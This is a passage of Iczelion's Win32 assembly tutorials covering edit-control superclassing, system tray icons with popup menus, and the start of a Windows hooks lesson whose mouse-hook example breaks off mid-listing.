The first method is too tedious. You have to implement every functionality of the edit control yourself. Hardly a task to be taken lightly. The second method is better than the first one but still too much work. It is ok if you subclass only a few controls but it's going to be a nightmare to subclass a dozen or so controls. Superclassing is the technique you should use for this occasion.
Subclassing is the method you use to *take control* of a particular window class. By *taking control*, I mean you can modify the properties of the window class to suit your purpose then then create the bunch of controls.
The steps in superclassing is outlined below:
  • call GetClassInfoEx to obtain the information about the window class you want to superclass. GetClassInfoEx requires a pointer to a WNDCLASSEX structure which will be filled with the information if the call returns successfully.
  • Modify the WNDCLASSEX members that you want. However, there are two members which you MUST modify:
    • hInstance You must put the instance handle of your program into this member.
    • lpszClassName You must provide it with a pointer to a new class name.

      • You need not modify lpfnWndProc member but most of the time, you need to do it. Just remember to save the original lpfnWndProc member if you want to call it with CallWindowProc.
  • Register the modifed WNDCLASSEX structure. You'll have a new window class which has several characteristics of the old window class.
  • Create windows from the new class
Superclassing is better than subclassing if you want to create many controls with the same characteristics.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WM_SUPERCLASS equ WM_USER+5
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SuperclassWinClass",0
AppName db "Superclassing Demo",0
EditClass db "EDIT",0
OurClass db "SUPEREDITCLASS",0
Message db "You pressed the Enter key in the text box!",0

.data?
hInstance dd ?
hwndEdit dd 6 dup(?)
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE+WS_EX_CONTROLPARENT,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,220,NULL,NULL,\
hInst,NULL
mov hwnd,eax

.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL wc:WNDCLASSEX
.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc
push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass
invoke RegisterClassEx, addr wc
xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analysis:

The program will create a simple window with 6 "modified" edit controls in its client area. The edit controls will accept only hex digits. Actually, I modified the subclassing example to do superclassing. The program starts normally and the interesting part is when the main window is created:

.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc

We must first fill the WNDCLASSEX structure with the data from the class which we want to superclass, in this case, it's EDIT class. Remember that you must set the cbSize member of the WNDCLASSEX structure before you call GetClassInfoEx else the WNDCLASSEX structure will not be filled properly. After GetClassInfoEx returns, wc is filled with all information we need to create a new window class.

push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass

Now we must modify some members of wc. The first one is the pointer to the window procedure. Since we need to chain our own window procedure with the original one, we have to save it into a variable so we can call it with CallWindowProc. This technique is identical to subclassing except that you modify the WNDCLASSEX structure directly without having to call SetWindowLong. The next two members must be changed else you will not be able to register your new window class, hInstance and lpsClassName. You must replace original hInstance value with hInstance of your own program. And you must choose a new name for the new class.

invoke RegisterClassEx, addr wc

When all is ready, register the new class. You will get a new class with some characteristics of the old class.

xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit

Now that we registered the class, we can create windows based on it. In the above snippet, I use ebx as the counter of the number of windows created. edi is used as the y coordinate of the left upper corner of the window. When a window is created, its handle is stored in the array of dwords. When all windows are created, set input focus to the first window.
At this point, you got 6 edit controls which accept only hex digits. The substituted window proc handles the filter. Actually, it's identical to the window proc in subclassing example. As you can see, you don't have to do extra work of subclassing them.

I throw in a code snippet to handle control navigation with tabs to make this example more juicy. Normally, if you put controls on a dialog box, the dialog box manager handles the navigation keys for you so you can tab to go to the next control or shift-tab to go back to the previous control. Alas, such feature is not available if you put your controls on a simple window. You have to subclass them so you can handle the Tab keys yourself. In our example, we need not subclass the controls one by one because we already superclassed them, so we can provide a "central control navigation manager" for them.

.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret

The above code snippet is from EditWndClass procedure. It checks if the user press Tab key, if so, it call GetKeyState to check if the SHIFT key is also pressed. GetKeyState returns a value in eax that determines whether the specified key is pressed or not. If the key is pressed, the high bit of eax is set. If not, the high bit is clear. So we test the return value against 80000000h. If the high bit is set, it means the user pressed shift+tab which we must handle separately.
If the user press Tab key alone, we call GetWindow to retrieve the handle of the next control. We use GW_HWNDNEXT flag to tell GetWindow to obtain the handle to the window that is next in line to the current hEdit. If this function returns NULL, we interpret it as no more handle to obtain so the current hEdit is the last control in the line. We will "wrap around" to the first control by calling GetWindow with GW_HWNDFIRST flag. Similar to the Tab case, shift-tab just works in reverse.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 23: Tray Icon

In this tutorial, we will learn how to put icons into system tray and how to create/use a popup menu.
Download the example here.

Theory:

System tray is the rectangular region in the taskbar where several icons reside. Normally, you'll see at least a digital clock in it. You can also put icons in the system tray too. Below are the steps you have to perform to put an icon into the system tray:
  1. Fill a NOTIFYICONDATA structure which has the following members:
    • cbSize The size of this structure.
    • hwnd Handle of the window that will receive notification when a mouse event occurs over the tray icon.
    • uID A constant that is used as the icon's identifier. You are the one who decides on this value. In case you have more than one tray icons, you will be able to check from what tray icon the mouse notification is from.
    • uFlags Specify which members of this structure are valid
      • NIF_ICON The hIcon member is valid.
      • NIF_MESSAGE The uCallbackMessage member is valid.
      • NIF_TIP The szTip member is valid.
    • uCallbackMessage The custom message that Windows will send to the window specified by the hwnd member when mouse events occur over the tray icon. You create this message yourself.
    • hIcon The handle of the icon you want to put into the system tray
    • szTip A 64-byte array that contains the string that will be used as the tooltip text when the mouse hovers over the tray icon.
  2. Call Shell_NotifyIcon which is defined in shell32.inc. This function has the following prototype:

    3. Shell_NotifyIcon PROTO dwMessage:DWORD ,pnid:DWORD

    dwMessage is the type of message to send to the shell.
    NIM_ADD Adds an icon to the status area.
    NIM_DELETE Deletes an icon from the status area.
    NIM_MODIFY Modifies an icon in the status area.
    pnid is the pointer to a NOTIFYICONDATA structure filled with proper values
    If you want to add an icon to the tray, use NIM_ADD message, if you want to remove the icon, use NIM_DELETE.

That's all there is to it. But most of the time, you're not content in just putting an icon there. You need to be able to respond to the mouse events over the tray icon. You can do this by processing the message you specified in uCallbackMessage member of NOTIFYICONDATA structure. This message has the following values in wParam and lParam (special thanks to s__d for the info):
  • wParam contains the ID of the icon. This is the same value you put into uID member of NOTIFYICONDATA structure.
  • lParam The low word contains the mouse message. For example, if the user right-clicked at the icon, lParam will contain WM_RBUTTONDOWN.
Most tray icon, however, displays a popup menu when the user right-click on it. We can implement this feature by creating a popup menu and then call TrackPopupMenu to display it. The steps are described below:
  1. Create a popup menu by calling CreatePopupMenu. This function creates an empty menu. It returns the menu handle in eax if successful.
  2. Add menu items to it with AppendMenu, InsertMenu or InsertMenuItem.
  3. When you want to display the popup menu where the mouse cursor is, call GetCursorPos to obtain the screen coordinate of the cursor and then call TrackPopupMenu to display the menu. When the user selects a menu item from the popup menu, Windows sends WM_COMMAND message to your window procedure just like normal menu selection.
Note: Beware of two annoying behaviors when you use a popup menu with a tray icon:
  1. When the popup menu is displayed, if you click anywhere outside the menu, the popup menu will not disappear immediately as it should be. This behavior occurs because the window that will receive the notifications from the popup menu MUST be the foreground window. Just call SetForegroundWindow will correct it.
  2. After calling SetForegroundWindow, you will find that the first time the popup menu is displayed, it works ok but on the subsequent times, the popup menu will show up and close immediately. This behavior is "intentional", to quote from MSDN. The task switch to the program that is the owner of the tray icon in the near future is necessary. You can force this task switch by posting any message to the window of the program. Just use PostMessage, not SendMessage!

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib

WM_SHELLNOTIFY equ WM_USER+5
IDI_TRAY equ 0
IDM_RESTORE equ 1000
IDM_EXIT equ 1010
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "TrayIconWinClass",0
AppName db "TrayIcon Demo",0
RestoreString db "&Restore",0
ExitString db "E&xit Program",0

.data?
hInstance dd ?
note NOTIFYICONDATA <>
hPopupMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW or CS_DBLCLKS
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL pt:POINT
.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString
.elseif uMsg==WM_DESTROY
invoke DestroyMenu,hPopupMenu
invoke PostQuitMessage,NULL
.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif
.endif
.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

end start

Analysis:

The program will display a simple window. When you press the minimize button, it will hide itself and put an icon into the system tray. When you double-click on the icon, the program will restore itself and remove the icon from the system tray. When you right-click on it, a popup menu is displayed. You can choose to restore the program or exit it.

.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString

When the main window is created, it creates a popup menu and append two menu items. AppendMenu has the following syntax:

AppendMenu PROTO hMenu:DWORD, uFlags:DWORD, uIDNewItem:DWORD, lpNewItem:DWORD
  • hMenu is the handle of the menu you want to append the item to
  • uFlags tells Windows about the menu item to be appended to the menu whether it is a bitmap or a string or an owner-draw item, enabled, grayed or disable etc. You can get the complete list from win32 api reference. In our example, we use MF_STRING which means the menu item is a string.
  • uIDNewItem is the ID of the menu item. This is a user-defined value that is used to represent the menu item.
  • lpNewItem specifies the content of the menu item, depending on what you specify in uFlags member. Since we specify MF_STRING in uFlags member, lpNewItem must contain the pointer to the string to be displayed in the popup menu.
After the popup menu is created, the main window waits patiently for the user to press minimize button.
When a window is minimized, it receives WM_SIZE message with SIZE_MINIMIZED value in wParam.

.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif

We use this opportunity to fill NOTIFYICONDATA structure. IDI_TRAY is just a constant defined at the beginning of the source code. You can set it to any value you like. It's not important because you have only one tray icon. But if you will put several icons into the system tray, you need unique IDs for each tray icon. We specify all flags in uFlags member because we specify an icon (NIF_ICON), we specify a custom message (NIF_MESSAGE) and we specify the tooltip text (NIF_TIP). WM_SHELLNOTIFY is just a custom message defined as WM_USER+5. The actual value is not important so long as it's unique. I use the winlogo icon as the tray icon here but you can use any icon in your program. Just load it from the resource with LoadIcon and put the returned handle in hIcon member. Lastly, we fill the szTip with the text we want the shell to display when the mouse is over the icon.
We hide the main window to give the illusion of "minimizing-to-tray-icon" appearance.
Next we call Shell_NotifyIcon with NIM_ADD message to add the icon to the system tray.

Now our main window is hidden and the icon is in the system tray. If you move the mouse over it, you will see a tooltip that displays the text we put into szTip member. Next, if you double-click at the icon, the main window will reappear and the tray icon is gone.

.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif

When a mouse event occurs over the tray icon, your window receives WM_SHELLNOTIFY message which is the custom message you specified in uCallbackMessage member. Recall that on receiving this message, wParam contains the tray icon's ID and lParam contains the actual mouse message. In the code above, we check first if this message comes from the tray icon we are interested in. If it does, we check the actual mouse message. Since we are only interested in right mouse click and double-left-click, we process only WM_RBUTTONDOWN and WM_LBUTTONDBLCLK messages.
If the mouse message is WM_RBUTTONDOWN, we call GetCursorPos to obtain the current screen coordinate of the mouse cursor. When the function returns, the POINT structure is filled with the screen coordinate of the mouse cursor. By screen coordinate, I mean the coordinate of the entire screen without regarding to any window boundary. For example, if the screen resolution is 640*480, the right-lower corner of the screen is x==639 and y==479. If you want to convert the screen coordinate to window coordinate, use ScreenToClient function.
However, for our purpose, we want to display the popup menu at the current mouse cursor position with TrackPopupMenu call and it requires screen coordinates, we can use the coordinates filled by GetCursorPos directly.
TrackPopupMenu has the following syntax:

    TrackPopupMenu PROTO hMenu:DWORD, uFlags:DWORD, x:DWORD, y:DWORD, nReserved:DWORD, hWnd:DWORD, prcRect:DWORD
  • hMenu is the handle of the popup menu to be displayed
  • uFlags specifies the options of the function. Like where to position the menu relative to the coordinates specified later and which mouse button will be used to track the menu. In our example, we use TPM_RIGHTALIGN to position the popup menu to the left of the coordinates.
  • x and y specify the location of the menu in screen coordinates.
  • nReserved must be NULL
  • hWnd is the handle of the window that will receive the messages from the menu.
  • prcRect is the rectangle in the screen where it is possible to click without dismissing the menu. Normally we put NULL here so when the user clicks anywhere outside the popup menu, the menu is dismissed.
When the user double-clicks at the tray icon, we send WM_COMMAND message to our own window specifying IDM_RESTORE to emulate the user selects Restore menu item in the popup menu thereby restoring the main window and removing the icon from the system tray. In order to be able to receive double click message, the main window must have CS_DBLCLKS style.

invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif

When the user selects Restore menu item, we remove the tray icon by calling Shell_NotifyIcon again, this time we specify NIM_DELETE as the message. Next, we restore the main window to its original state. If the user selects Exit menu item, we also remove the icon from the tray and destroy the main window by calling DestroyWindow.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 24: Windows Hooks

We will learn about Windows hooks in this tutorial. Windows hooks are very powerful. With them, you can poke inside other processes and sometimes alter their behaviors.
Download the example here.

Theory:

Windows hooks can be considered one of the most powerful features of Windows. With them, you can trap events that will occur, either in your own process or in other processes. By "hooking", you tell Windows about a function, filter function also called hook procedure, that will be called everytime an event you're interested in occurs. There are two types of them: local and remote hooks.
  • Local hooks trap events that will occur in your own process.
  • Remote hooks trap events that will occur in other process(es). There are two types of remote hooks
    • thread-specific traps events that will occur in a specific thread in other process. In short, you want to observe events in a specific thread in a specific process.
    • system-wide traps all events destined for all threads in all processes in the system.
When you install hooks, remember that they affect system performance. System-wide hooks are the most notorious. Since ALL related events will be routed through your filter function, your system may slow down noticeably. So if you use a system-wide hook, you should use it judiciously and unhook it as soon as you don't need it. Also, you have a higher chance of crashing the other processes since you can meddle with other processes and if something is wrong in your filter function, it can pull the other processes down to oblivion with it. Remember: Power comes with responsibility.
You have to understand how a hook works before you can use it efficiently. When you create a hook, Windows creates a data structure in memory, containing information about the hook, and adds it to a linked list of existing hooks. New hook is added in front of old hooks. When an event occurs, if you install a local hook, the filter function in your process is called so it's rather straightforward. But if it's a remote hook, the system must inject the code for the hook procedure into the address space(s) of the other process(es). And the system can do that only if the function resides in a DLL. Thus , if you want to use a remote hook, your hook procedure must reside in a DLL. There is two exceptions to this rule: journal record and journal playback hooks. The hook procedures for those two hooks must reside in the thread that installs the hooks. The reason why it must be so is that: both hooks deal with the low-level interception of hardware input events. The input events must be recorded/playbacked in the order they appeared. If the code of those two hooks is in a DLL, the input events may scatter among several threads and it is impossible to know the order of them. So the solution: the hook procedure of those two hooks must be in a single thread only i.e. the thread that installs the hooks.
There are 14 types of hooks:
  • WH_CALLWNDPROC called when SendMessage is called
  • WH_CALLWNDPROCRET called when SendMessage returns
  • WH_GETMESSAGE called when GetMessage or PeekMessage is called
  • WH_KEYBOARD called when GetMessage or PeekMessage retrieves WM_KEYUP or WM_KEYDOWN from the message queue
  • WH_MOUSE called when GetMessage or PeekMessage retrieves a mouse message from the message queue
  • WH_HARDWARE called when GetMessage or PeekMessage retrieves some hardware message that is not related to keyboard or mouse.
  • WH_MSGFILTER called when a dialog box, menu or scrollbar is about to process a message. This hook is local. It's specifically for those objects which have their own internal message loops.
  • WH_SYSMSGFILTER same as WH_MSGFILTER but system-wide
  • WH_JOURNALRECORD called when Windows retrieves message from the hardware input queue
  • WH_JOURNALPLAYBACK called when an event is requested from the system's hardware input queue.
  • WH_SHELL called when something interesting about the shell occurs such as when the task bar needs to redraw its button.
  • WH_CBT used specifically for computer-based training (CBT).
  • WH_FOREGROUNDIDLE used internally by Windows. Little use for general applications
  • WH_DEBUG used to debug the hooking procedure
Now that we know some theory, we can move on to how to install/uninstall the hooks.
To install a hook, you call SetWindowsHookEx which has the following syntax:
SetWindowsHookEx proto HookType:DWORD, pHookProc:DWORD, hInstance:DWORD, ThreadID:DWORD
  • HookType is one of the values listed above, e.g., WH_MOUSE, WH_KEYBOARD
  • pHookProc is the address of the hook procedure that will be called to process the messages for the specified hook. If the hook is a remote one, it must reside in a DLL. If not, it must be in your process.
  • hInstance is the instance handle of the DLL in which the hook procedure resides. If the hook is a local one, this value must be NULL
  • ThreadID is the ID of the thread you want to install the hook to spy on. This parameter is the one that determines whether a hook is local or remote. If this parameter is NULL, Windows will interpret the hook as a system-wide remote hook that affects all threads in the system. If you specify the thread ID of a thread in your own process, this hook is a local one. If you specify the thread ID from other process, the hook is a thread-specific remote one. There are two exceptions to this rule: WH_JOURNALRECORD and WH_JOURNALPLAYBACK are always local system-wide hooks that are not required to be in a DLL. And WH_SYSMSGFILTER is always a system-wide remote hook. Actually it is identical to WH_MSGFILTER hook with ThreadID==0.
If the call is successful, it returns the hook handle in eax. If not, NULL is returned. You must save the hook handle for unhooking later.
You can uninstall a hook by calling UnhookWindowsHookEx which accepts only one parameter, the handle of the hook you want to uninstall. If the call succeeds, it returns a non-zero value in eax. Otherwise, it returns NULL.
Now that you know how to install/uninstall hooks, we can examine the hook procedure.
The hook procedure will be called whenever an event that is associated with the type of hook you have installed occurs. For example, if you install WH_MOUSE hook, when a mouse event occurs, your hook procedure will be called. Regardless of the type of hook you installed, the hook procedure always has the following prototype:
    HookProc proto nCode:DWORD, wParam:DWORD, lParam:DWORD
    • nCode specifies the hook code.
    • wParam and lParam contain additional information about the event
HookProc is actually a placeholder for the function name. You can name it anything you like so long as it has the above prototype. The interpretation of nCode, wParam and lParam is dependent on the type of hook you install. So as the return value from the hook procedure. For example:
WH_CALLWNDPROC
  • nCode can be only HC_ACTION which means there is a message sent to a window
  • wParam contains the message being sent, if it's not zero
  • lParam points to a CWPSTRUCT structure
  • return value: not used, return zero
WH_MOUSE
  • nCode can be HC_ACTION or HC_NOREMOVE
  • wParam contains the mouse message
  • lParam points to a MOUSEHOOKSTRUCT structure
  • return value: zero if the message should be processed. 1 if the message should be discarded.
The bottom line is: you must consult your win32 api reference for details about the meanings of the parameters and return value of the hook you want to install.
Now there is a little catch about the hook procedure. Remember that the hooks are chained in a linked list with the most recently installed hook at the head of the list. When an event occurs, Windows will call only the first hook in the chain. It's your hook procedure's responsibility to call the next hook in the chain. You can choose not to call the next hook but you'd better know what you're doing. Most of the time, it's a good practice to call the next procedure so other hooks can have a shot at the event. You can call the next hook by calling CallNextHookEx which has the following prototype:
CallNextHookEx proto hHook:DWORD, nCode:DWORD, wParam:DWORD, lParam:DWORD
  • hHook is your own hook handle. The function uses this handle to traverse the linked list and search for the hook procedure it should call next.
  • nCode, wParam and lParam you can just pass those three values you receive from Windows to CallNextHookEx.
An important note about remote hooks: the hook procedure must reside in a DLL which will be mapped into other processes. When Windows maps the DLL into other processes, it will not map the data section(s) into the other processes. In short, all processes share a single copy of code but they will have their own private copy of the DLL's data section! This can be a big surprise to the unwary. You may think that when you store a value into a variable in the data section of a DLL, that value will be shared among all processes that load the DLL into their process address space. It's simply not true. In normal situation, this behavior is desirable since it provides the illusion that each process has its own copy of the DLL. But not when Windows hook is concerned. We want the DLL to be identical in all processes, including the data. The solution: you must mark the data section as shared. You can do this by specifying the section(s) attribute in the linker switch. For MASM, you need to use this switch:
/SECTION:<section name>, S
The name of the initialized data section is .data and the uninitialized data is .bss. For example if you want to assemble a DLL which contains a hook procedure and you want the uninitialized data section to be shared amoung processes, you must use the following line:
link /section:.bss,S /DLL /SUBSYSTEM:WINDOWS ..........
S attribute marks the section as shared.

Example:

There are two modules: one is the main program which will do the GUI part and the other is the DLL that will install/uninstall the hook.

;--------------------------------------------- This is the source code of the main program --------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include mousehook.inc
includelib mousehook.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>

.const
IDD_MAINDLG equ 101
IDC_CLASSNAME equ 1000
IDC_HANDLE equ 1001
IDC_WNDPROC equ 1002
IDC_HOOK equ 1004
IDC_EXIT equ 1005
WM_MOUSEHOOK equ WM_USER+6

DlgFunc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
HookFlag dd FALSE
HookText db "&Hook",0
UnhookText db "&Unhook",0
template db "%lx",0

.data?
hInstance dd ?
hHook dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDLG,NULL,addr DlgFunc,NULL
invoke ExitProcess,NULL

DlgFunc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL hLib:DWORD
LOCAL buffer[128]:byte
LOCAL buffer1[128]:byte
LOCAL rect:RECT
.if uMsg==WM_CLOSE
.if HookFlag==TRUE
invoke UninstallHook
.endif
invoke EndDialog,hDlg,NULL
.elseif uMsg==WM_INITDIALOG
invoke GetWindowRect,hDlg,addr rect
invoke SetWindowPos, hDlg, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
